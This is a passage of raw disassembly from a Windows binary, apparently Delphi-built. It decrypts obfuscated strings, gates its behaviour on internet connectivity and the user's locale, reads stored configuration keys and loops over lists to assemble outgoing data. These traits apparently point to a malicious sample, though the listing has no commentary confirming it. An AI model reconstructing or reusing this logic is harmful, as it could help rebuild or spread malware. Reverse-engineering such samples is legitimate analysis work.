		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41903C

loc_41902C:				; CODE XREF: CODE:0041903Aj
		mov	eax, [ebp+var_C]
		call	sub_402BDC
		retn
sub_418FBC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419035:				; DATA XREF: sub_418FBC+31o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41902C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41903C:				; DATA XREF: sub_418FBC+6Bo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_419059

loc_419049:				; CODE XREF: CODE:00419057j
		lea	eax, [ebp-4]
		call	sub_4034C8
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419052:				; DATA XREF: sub_418FBC+14o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_419049
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419059:				; DATA XREF: CODE:00419044o
		mov	al, [ebp-5]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_419060	dd offset dword_419064	; DATA XREF: sub_4190CC+1E2r
					; sub_4190CC+353r ...
dword_419064	dd 322E0211h, 4		; DATA XREF: CODE:00419060o
		dd offset off_401000
		dd 48h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_419074	proc near		; CODE XREF: sub_4190CC+69Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, offset dword_4190BC
		call	sub_40351C
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	j_InternetGetConnectedState
		test	eax, eax
		jz	short loc_4190AD
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	eax, 1
		jnz	short loc_4190AD
		mov	eax, ebx
		mov	edx, offset dword_4190C8
		call	sub_40351C

loc_4190AD:				; CODE XREF: sub_419074+20j
					; sub_419074+2Bj
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_419074	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_4190BC	dd 31h,	0FFFFFFFFh, 1	; DATA XREF: sub_419074+9o
dword_4190C8	dd 33h			; DATA XREF: sub_419074+2Fo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4190CC	proc near		; CODE XREF: sub_41A5E4+F6p

var_298		= byte ptr -298h
var_294		= byte ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_288		= dword	ptr -288h
var_284		= byte ptr -284h
var_280		= byte ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= byte ptr -274h
var_270		= byte ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= byte ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= byte ptr -238h
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_120		= byte ptr -120h
var_11C		= byte ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= byte ptr -0E4h
var_E0		= byte ptr -0E0h
var_DC		= byte ptr -0DCh
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_CC		= byte ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_97		= byte ptr -97h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_79		= byte ptr -79h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 53h

loc_4190D4:				; CODE XREF: sub_4190CC+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4190D4
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_41A017
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	ds:dword_41EF14, eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[ebp+var_74], eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[ebp+var_78], eax
		mov	bl, 1
		xor	eax, eax
		mov	[ebp+var_6C], eax
		lea	ecx, [ebp+var_A0]
		xor	edx, edx
		mov	eax, offset aJqcjksgcpXeqdb ; "├÷≈і╙▒ё≈▐} ∙╔÷є║≥є█{║є√є║∙╔Rt⌠■║╗·╔R─▒÷"...
		call	sub_415FAC
		mov	edx, [ebp+var_A0]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_A4]
		xor	edx, edx
		mov	eax, offset dword_41A064
		call	sub_415FAC
		mov	edx, [ebp+var_A4]
		xor	ecx, ecx
		mov	eax, ds:dword_41EEF4
		call	sub_415EAC
		cmp	[ebp+var_4], 0
		jz	loc_41922B
		push	ds:dword_41EEF4
		lea	ecx, [ebp+var_A8]
		xor	edx, edx
		mov	eax, offset dword_41A084
		call	sub_415FAC
		push	[ebp+var_A8]
		push	[ebp+var_4]
		push	offset dword_41A098
		lea	eax, [ebp+var_4]
		mov	edx, 4
		call	sub_4037E4
		push	0
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	ecx, [ebp+var_AC]
		xor	edx, edx
		mov	eax, offset aLckh9Dyvv7yZiM ; "lckh9[└y┌┌7Y}z┴}▄┴"
		call	sub_415FAC
		mov	edx, [ebp+var_AC]
		xor	ecx, ecx
		mov	eax, [ebp+var_4]
		call	sub_415EAC
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_B0]
		xor	edx, edx
		mov	eax, offset dword_41A0C0
		call	sub_415FAC
		mov	edx, [ebp+var_B0]
		xor	ecx, ecx
		mov	eax, [ebp+var_4]
		call	sub_415EAC
		push	0
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_B4]
		xor	edx, edx
		mov	eax, offset dword_41A0D4
		call	sub_415FAC
		mov	edx, [ebp+var_B4]
		xor	ecx, ecx
		mov	eax, [ebp+var_4]
		call	sub_415EAC
		jmp	short loc_419272
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41922B:				; CODE XREF: sub_4190CC+A6j
		lea	ecx, [ebp+var_C]
		xor	edx, edx
		mov	eax, offset dword_41A0F0
		call	sub_415FAC
		lea	edx, [ebp+var_B8]
		mov	eax, 5
		call	sub_41609C
		push	[ebp+var_B8]
		push	offset dword_41A108
		push	[ebp+var_C]
		lea	eax, [ebp+var_8]
		mov	edx, 3
		call	sub_4037E4
		lea	edx, [ebp+var_10]
		mov	eax, 5
		call	sub_41609C

loc_419272:				; CODE XREF: sub_4190CC+15Dj
		push	0
		push	1
		lea	eax, [ebp+var_30]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFb1bb_0 ; "FB1BB"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	0
		push	1
		lea	eax, [ebp+var_34]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFb1bc ; "FB1BC"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	6
		lea	eax, [ebp+var_40]
		mov	ecx, 1
		mov	edx, ds:off_419060
		call	sub_4045A0
		add	esp, 4
		mov	eax, [ebp+var_40]
		add	eax, 4
		mov	edx, [ebp+var_C]
		call	sub_40351C
		push	0
		push	1
		lea	eax, [ebp+var_BC]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFb1ba_0 ; "FB1BA"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	edx, [ebp+var_BC]
		mov	eax, [ebp+var_40]
		add	eax, 8
		call	sub_40351C
		lea	ecx, [ebp+var_C0]
		xor	edx, edx
		mov	eax, offset dword_41A144
		call	sub_415FAC
		mov	edx, [ebp+var_C0]
		mov	eax, [ebp+var_40]
		add	eax, 14h
		call	sub_40351C
		lea	ecx, [ebp+var_C4]
		xor	edx, edx
		mov	eax, offset dword_41A158
		call	sub_415FAC
		mov	edx, [ebp+var_C4]
		mov	eax, [ebp+var_40]
		add	eax, 10h
		call	sub_40351C
		lea	ecx, [ebp+var_C8]
		xor	edx, edx
		mov	eax, offset aDxgXvaAdzzvddr ; "|└x┐}x┌─{─Dz┤┌D└░"
		call	sub_415FAC
		mov	edx, [ebp+var_C8]
		mov	eax, [ebp+var_40]
		add	eax, 0Ch
		call	sub_40351C
		mov	[ebp+var_60], 1
		mov	[ebp+var_79], 0

loc_41936B:				; CODE XREF: sub_4190CC+2D4j
		mov	eax, [ebp+var_40]
		mov	edx, [ebp+var_60]
		mov	eax, [eax+edx*4]
		call	sub_418FBC
		test	al, al
		jz	short loc_419399
		mov	[ebp+var_79], 1
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+var_40]
		mov	ecx, [ebp+var_60]
		mov	edx, [edx+ecx*4]
		call	sub_403560
		mov	[ebp+var_60], 5

loc_419399:				; CODE XREF: sub_4190CC+2AFj
		inc	[ebp+var_60]
		cmp	[ebp+var_60], 5
		jle	short loc_41936B
		push	1
		push	1
		lea	eax, [ebp+var_CC]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, offset dword_41A188
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		cmp	[ebp+var_79], 0
		jz	short loc_4193D4
		lea	eax, [ebp+var_2C]
		mov	edx, offset dword_41A194
		call	sub_403560
		jmp	short loc_4193E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4193D4:				; CODE XREF: sub_4190CC+2F7j
		lea	eax, [ebp+var_2C]
		mov	edx, offset dword_41A1A0
		call	sub_403560

loc_4193E1:				; CODE XREF: sub_4190CC+306j
		push	1
		push	1
		lea	eax, [ebp+var_D0]
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, offset dword_41A1AC
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	14h
		lea	eax, [ebp+var_99]
		push	eax
		call	j_GetUserDefaultLangID
		movzx	eax, ax
		push	eax
		call	j_VerLanguageNameA
		push	5
		lea	eax, [ebp+var_38]
		mov	ecx, 1
		mov	edx, ds:off_419060
		call	sub_4045A0
		add	esp, 4
		lea	eax, [ebp+var_D8]
		mov	dl, [ebp+var_99]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_D8]
		lea	eax, [ebp+var_DC]
		call	sub_402848
		lea	eax, [ebp+var_E0]
		mov	dl, [ebp+var_98]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_E0]
		lea	eax, [ebp+var_DC]
		mov	cl, 2
		call	sub_402818
		lea	edx, [ebp+var_DC]
		lea	eax, [ebp+var_E4]
		call	sub_402848
		lea	eax, [ebp+var_E0]
		mov	dl, [ebp+var_97]
		mov	[eax+1], dl
		mov	byte ptr [eax],	1
		lea	edx, [ebp+var_E0]
		lea	eax, [ebp+var_E4]
		mov	cl, 3
		call	sub_402818
		lea	edx, [ebp+var_E4]
		lea	eax, [ebp+var_D4]
		call	sub_4036EC
		mov	eax, [ebp+var_D4]
		push	eax
		lea	ecx, [ebp+var_E8]
		xor	edx, edx
		mov	eax, offset dword_41A1B8
		call	sub_415FAC
		mov	edx, [ebp+var_E8]
		pop	eax
		call	sub_403834
		jnz	loc_419596
		lea	ecx, [ebp+var_14]
		xor	edx, edx
		mov	eax, offset aDvx8xedz5Kmvi7 ; "`└┌x8x┘└┤5{┼▄v┴7W"
		call	sub_415FAC
		lea	ecx, [ebp+var_18]
		xor	edx, edx
		mov	eax, offset aOnt@cgmpfPtrmu ; "o█▓@≈┐▄▐■>▐▓░▄⌠▐M>├▓┌│┬│■L"
		call	sub_415FAC
		lea	ecx, [ebp+var_EC]
		xor	edx, edx
		mov	eax, offset aTaKqiamApGApbg ; "▓═\\╙÷╘═╛^═╞╠ё[²╞║ё╔Ёґ[╛·╟°\\ўЁ═\\╙ё[═╒╠[╟"...
		call	sub_415FAC
		mov	edx, [ebp+var_EC]
		mov	eax, [ebp+var_38]
		add	eax, 4
		call	sub_40351C
		lea	ecx, [ebp+var_F0]
		xor	edx, edx
		mov	eax, offset dword_41A244
		call	sub_415FAC
		mov	edx, [ebp+var_F0]
		mov	eax, [ebp+var_38]
		add	eax, 8
		call	sub_40351C
		lea	ecx, [ebp+var_F4]
		xor	edx, edx
		mov	eax, offset aUaufvNgxmxdgbu ; "u═·■╒°Nё∙M∙єё║⌠O∙═╒■P▌═▓≤√є·P·ё■P║⌠O²▌°"...
		call	sub_415FAC
		mov	edx, [ebp+var_F4]
		mov	eax, [ebp+var_38]
		add	eax, 0Ch
		call	sub_40351C
		lea	ecx, [ebp+var_F8]
		xor	edx, edx
		mov	eax, offset aAlnqAmzadyinib ; "─╚ґ÷[²╛Z═єY⌡ґ⌡║ё╠їY²╙іYі°X╒╗║ї╚ї°⌡╒-╘X╙"...
		call	sub_415FAC
		mov	edx, [ebp+var_F8]
		mov	eax, [ebp+var_38]
		add	eax, 10h
		call	sub_40351C
		jmp	loc_419640
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419596:				; CODE XREF: sub_4190CC+415j
		lea	ecx, [ebp+var_14]
		xor	edx, edx
		mov	eax, offset a_66_gm6xjz6rgk ; "_}66_┐▄6x├z6░┐┼U"
		call	sub_415FAC
		lea	ecx, [ebp+var_18]
		xor	edx, edx
		mov	eax, offset dword_41A310
		call	sub_415FAC
		lea	ecx, [ebp+var_FC]
		xor	edx, edx
		mov	eax, offset aBuiJsvZkvlauiw ; "│U╘°і≥V╟ї╙V╚═·╘W··╒°X·єWїї °╙U╙іX²≈ґ²U╞"...
		call	sub_415FAC
		mov	edx, [ebp+var_FC]
		mov	eax, [ebp+var_38]
		add	eax, 4
		call	sub_40351C
		lea	ecx, [ebp+var_100]
		xor	edx, edx
		mov	eax, offset aBuujiVZkvSgvqa ; "│U·і╗ V╟ї╙V ≥ёV÷²║іW╔ Vў║╘·W╛²÷╙X⌡÷ё²U╙"...
		call	sub_415FAC
		mov	edx, [ebp+var_100]
		mov	eax, [ebp+var_38]
		add	eax, 8
		call	sub_40351C
		lea	ecx, [ebp+var_104]
		xor	edx, edx
		mov	eax, offset aYmcuatniqvniss ; "yM√·═▓N╗÷╒N⌡≥≤⌠Oє∙⌠O√√ ■P║√░єMwOё▓°⌠÷Mї"...
		call	sub_415FAC
		mov	edx, [ebp+var_104]
		mov	eax, [ebp+var_38]
		add	eax, 0Ch
		call	sub_40351C
		lea	ecx, [ebp+var_108]
		xor	edx, edx
		mov	eax, offset aSvdpGoVaGgzbDE ; "▒╒є╞]ёў\\╠╒═\\ёёї║]╠є╟╔Z╞є╒Zє╙ё╘ґ╘·ўє╚╚Z╞"...
		call	sub_415FAC
		mov	edx, [ebp+var_108]
		mov	eax, [ebp+var_38]
		add	eax, 10h
		call	sub_40351C

loc_419640:				; CODE XREF: sub_4190CC+4C5j
		mov	eax, 4
		call	sub_4028F4
		mov	edx, [ebp+var_38]
		mov	edx, [edx+eax*4+4]
		lea	eax, [ebp+var_1C]
		call	sub_403560
		lea	eax, [ebp+var_28]
		call	sub_4034C8
		push	0
		push	1
		lea	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_10C]
		xor	edx, edx
		mov	eax, offset dword_41A41C
		call	sub_415FAC
		mov	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_110]
		mov	ecx, offset dword_41A428
		mov	edx, ds:dword_41EEFC
		call	sub_403770
		mov	eax, [ebp+var_110]
		xor	ecx, ecx
		pop	edx
		call	sub_415EAC
		lea	edx, [ebp+var_58]
		mov	eax, [ebp+var_20]
		call	sub_402978
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 0
		jz	short loc_4196F6
		lea	ecx, [ebp+var_118]
		xor	edx, edx
		mov	eax, offset dword_41A438
		call	sub_415FAC
		mov	ecx, [ebp+var_118]
		lea	eax, [ebp+var_114]
		mov	edx, ds:dword_41EEE8
		call	sub_403770
		mov	edx, [ebp+var_114]
		mov	eax, [ebp+var_74]
		mov	ecx, [eax]
		call	dword ptr [ecx+58h]
		dec	[ebp+var_58]
		jmp	short loc_419758
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4196F6:				; CODE XREF: sub_4190CC+5ECj
		push	0
		push	1
		lea	eax, [ebp+var_28]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFb1b_0 ; "FB1B"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_11C]
		push	eax
		mov	ecx, offset dword_41A45C
		mov	edx, offset aFc43 ; "FC43"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_120]
		push	eax
		xor	ecx, ecx
		mov	edx, offset dword_41A478
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_28]
		call	sub_4071A8
		test	al, al
		jnz	short loc_419758
		xor	ebx, ebx

loc_419758:				; CODE XREF: sub_4190CC+628j
					; sub_4190CC+688j
		push	1
		push	1
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_128]
		call	sub_419074
		mov	ecx, [ebp+var_128]
		mov	edx, offset aFd11 ; "FD11"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		test	bl, bl
		jz	loc_419F9F
		push	5
		lea	eax, [ebp+var_44]
		mov	ecx, 1
		mov	edx, ds:off_419060
		call	sub_4045A0
		add	esp, 4
		mov	eax, [ebp+var_44]
		add	eax, 4
		mov	edx, offset dword_41A494
		call	sub_40351C
		mov	eax, [ebp+var_44]
		add	eax, 8
		mov	edx, offset dword_41A4A0
		call	sub_40351C
		mov	eax, [ebp+var_44]
		add	eax, 0Ch
		mov	edx, offset dword_41A4AC
		call	sub_40351C
		mov	eax, [ebp+var_44]
		add	eax, 10h
		mov	edx, offset dword_41A4B8
		call	sub_40351C
		push	8
		lea	eax, [ebp+var_3C]
		mov	ecx, 1
		mov	edx, ds:off_419060
		call	sub_4045A0
		add	esp, 4
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	edx, offset dword_41A4C4
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 8
		mov	edx, offset dword_41A4C4
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 0Ch
		mov	edx, offset dword_41A4C4
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 10h
		mov	edx, offset dword_41A4D0
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 14h
		mov	edx, offset dword_41A4DC
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 18h
		mov	edx, offset dword_41A4E8
		call	sub_40351C
		mov	eax, [ebp+var_3C]
		add	eax, 1Ch
		mov	edx, offset dword_41A4F4
		call	sub_40351C
		lea	eax, [ebp+var_2C]
		call	sub_4034C8
		push	0
		push	1
		lea	eax, [ebp+var_12C]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFc42 ; "FC42"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_12C]
		lea	edx, [ebp+var_5C]
		call	sub_402978
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jz	short loc_4198AC
		cmp	[ebp+var_5C], 7
		jnz	short loc_4198B3

loc_4198AC:				; CODE XREF: sub_4190CC+7D8j
		mov	[ebp+var_60], 1

loc_4198B3:				; CODE XREF: sub_4190CC+7DEj
		push	0
		push	1
		lea	eax, [ebp+var_130]
		push	eax
		xor	ecx, ecx
		mov	edx, offset aFc421 ; "FC421"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	eax, [ebp+var_130]
		lea	edx, [ebp+var_70]
		call	sub_402978
		mov	[ebp+var_70], eax
		cmp	[ebp+var_60], 7
		jg	loc_419F9F

loc_4198EA:				; CODE XREF: sub_4190CC+ECDj
		lea	ecx, [ebp+var_134]
		xor	edx, edx
		mov	eax, offset dword_41A520
		call	sub_415FAC
		mov	edx, [ebp+var_134]
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_60]
		mov	ecx, [eax+ecx*4]
		lea	eax, [ebp+var_24]
		call	sub_403770
		push	0
		push	1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_138]
		mov	ecx, offset dword_41A428
		mov	edx, ds:dword_41EEFC
		call	sub_403770
		mov	eax, [ebp+var_138]
		xor	ecx, ecx
		mov	edx, [ebp+var_24]
		call	sub_415EAC
		lea	edx, [ebp+var_4C]
		mov	eax, [ebp+var_20]
		call	sub_402978
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0
		jz	loc_419F70
		mov	eax, [ebp+var_4C]
		test	eax, eax
		jle	loc_419F70
		mov	[ebp+var_80], eax
		mov	[ebp+var_48], 1

loc_41996E:				; CODE XREF: sub_4190CC+E9Ej
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		lea	edx, [ebp+var_238]
		mov	eax, [ebp+var_48]
		call	sub_40296C
		lea	edx, [ebp+var_238]
		mov	eax, offset dword_41EEF4
		call	sub_4036EC
		push	ds:dword_41EEE8
		push	offset dword_41A098
		push	[ebp+var_24]
		push	ds:dword_41EEF4
		lea	ecx, [ebp+var_240]
		xor	edx, edx
		mov	eax, offset a9luv_1 ; "9luv"
		call	sub_415FAC
		push	[ebp+var_240]
		lea	eax, [ebp+var_23C]
		mov	edx, 5
		call	sub_4037E4
		mov	edx, [ebp+var_23C]
		mov	eax, ds:dword_41EF14
		mov	ecx, [eax]
		call	dword ptr [ecx+58h]
		mov	eax, ds:dword_41EF14
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		dec	eax
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_70]
		mov	edx, [ebp+var_50]
		sub	edx, eax
		jl	loc_419F64
		inc	edx
		mov	[ebp+var_84], edx
		mov	[ebp+var_54], eax

loc_419A08:				; CODE XREF: sub_4190CC+E92j
		push	1
		push	1
		lea	eax, [ebp+var_244]
		push	eax
		mov	ecx, offset dword_41A53C
		mov	edx, offset dword_41A548
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		mov	al, [ebp+var_79]
		call	sub_418EBC
		test	al, al
		jz	loc_419F55
		cmp	[ebp+var_2C], 0
		jz	short loc_419A47
		cmp	[ebp+var_6C], 8
		jnz	loc_419B8D

loc_419A47:				; CODE XREF: sub_4190CC+96Fj
		xor	eax, eax
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_28], 0
		jnz	loc_419B82
		mov	eax, [ebp+var_58]
		call	sub_4028F4
		mov	edx, eax
		lea	ecx, [ebp+var_248]
		mov	eax, [ebp+var_74]
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edx, [ebp+var_248]
		mov	eax, offset dword_41EEF4
		call	sub_40351C
		mov	eax, ds:dword_41EEF4
		call	sub_4071A8
		test	al, al
		jz	loc_419B75
		lea	edx, [ebp+var_2C]
		mov	eax, ds:dword_41EEF4
		call	sub_4073EC
		lea	edx, [ebp+var_250]
		mov	eax, [ebp+var_2C]
		call	sub_41620C
		mov	eax, [ebp+var_250]
		lea	ecx, [ebp+var_24C]
		mov	edx, 1
		call	sub_415FAC
		mov	eax, [ebp+var_24C]
		mov	edx, offset dword_41A554
		call	sub_403834
		jz	short loc_419B0C
		push	[ebp+var_2C]
		push	offset dword_41A560
		mov	eax, 4
		call	sub_4028F4
		mov	edx, [ebp+var_44]
		mov	eax, [edx+eax*4+4]
		lea	ecx, [ebp+var_254]
		xor	edx, edx
		call	sub_415FAC
		push	[ebp+var_254]
		lea	eax, [ebp+var_2C]
		mov	edx, 3
		call	sub_4037E4

loc_419B0C:				; CODE XREF: sub_4190CC+A05j
		push	ds:dword_41EEF0
		push	offset dword_41A098
		push	[ebp+var_2C]
		lea	eax, [ebp+var_258]
		mov	edx, 3
		call	sub_4037E4
		mov	eax, [ebp+var_258]
		call	sub_4071A8
		test	al, al
		jnz	short loc_419B8D
		mov	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	0
		lea	eax, [ebp+var_25C]
		mov	ecx, offset dword_41A098
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		mov	ecx, [ebp+var_25C]
		mov	edx, ds:dword_41EEF4
		mov	eax, ds:dword_41EED8
		call	sub_4171C0
		jmp	short loc_419B8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419B75:				; CODE XREF: sub_4190CC+9BEj
		lea	eax, [ebp+var_2C]
		mov	edx, [ebp+var_28]
		call	sub_403560
		jmp	short loc_419B8D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_419B82:				; CODE XREF: sub_4190CC+984j
		lea	eax, [ebp+var_2C]
		mov	edx, [ebp+var_28]
		call	sub_403560

loc_419B8D:				; CODE XREF: sub_4190CC+975j
					; sub_4190CC+A6Bj ...
		mov	dl, 1
		mov	eax, ds:off_4124F8
		call	sub_412560
		mov	ds:dword_41EF1C, eax
		xor	eax, eax
		push	ebp
		push	offset loc_419F4E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_41A56C
		push	[ebp+var_10]
		push	offset dword_41A578
		push	[ebp+var_8]
		push	offset dword_41A584
		mov	eax, ds:dword_41EF1C
		add	eax, 0Ch
		mov	edx, 5
		call	sub_4037E4
		lea	ecx, [ebp+var_260]
		mov	edx, [ebp+var_54]
		mov	eax, ds:dword_41EF14
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edx, [ebp+var_260]
		mov	eax, ds:dword_41EF1C
		mov	eax, [eax+10h]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		push	offset dword_41EEF4
		mov	edx, [ebp+var_2C]
		mov	eax, offset dword_41A560
		call	sub_4039B4
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_2C]
		call	sub_40392C
		mov	eax, ds:dword_41EF1C
		add	eax, 14h
		mov	edx, ds:dword_41EEF4
		call	sub_40351C
		mov	eax, [ebp+var_78]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_78]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	edx, offset dword_41A590
		mov	eax, [ebp+var_78]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_78]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	edx, offset dword_41A590
		mov	eax, [ebp+var_78]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_78]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	edx, [ebp+var_78]
		mov	eax, ds:dword_41EF1C
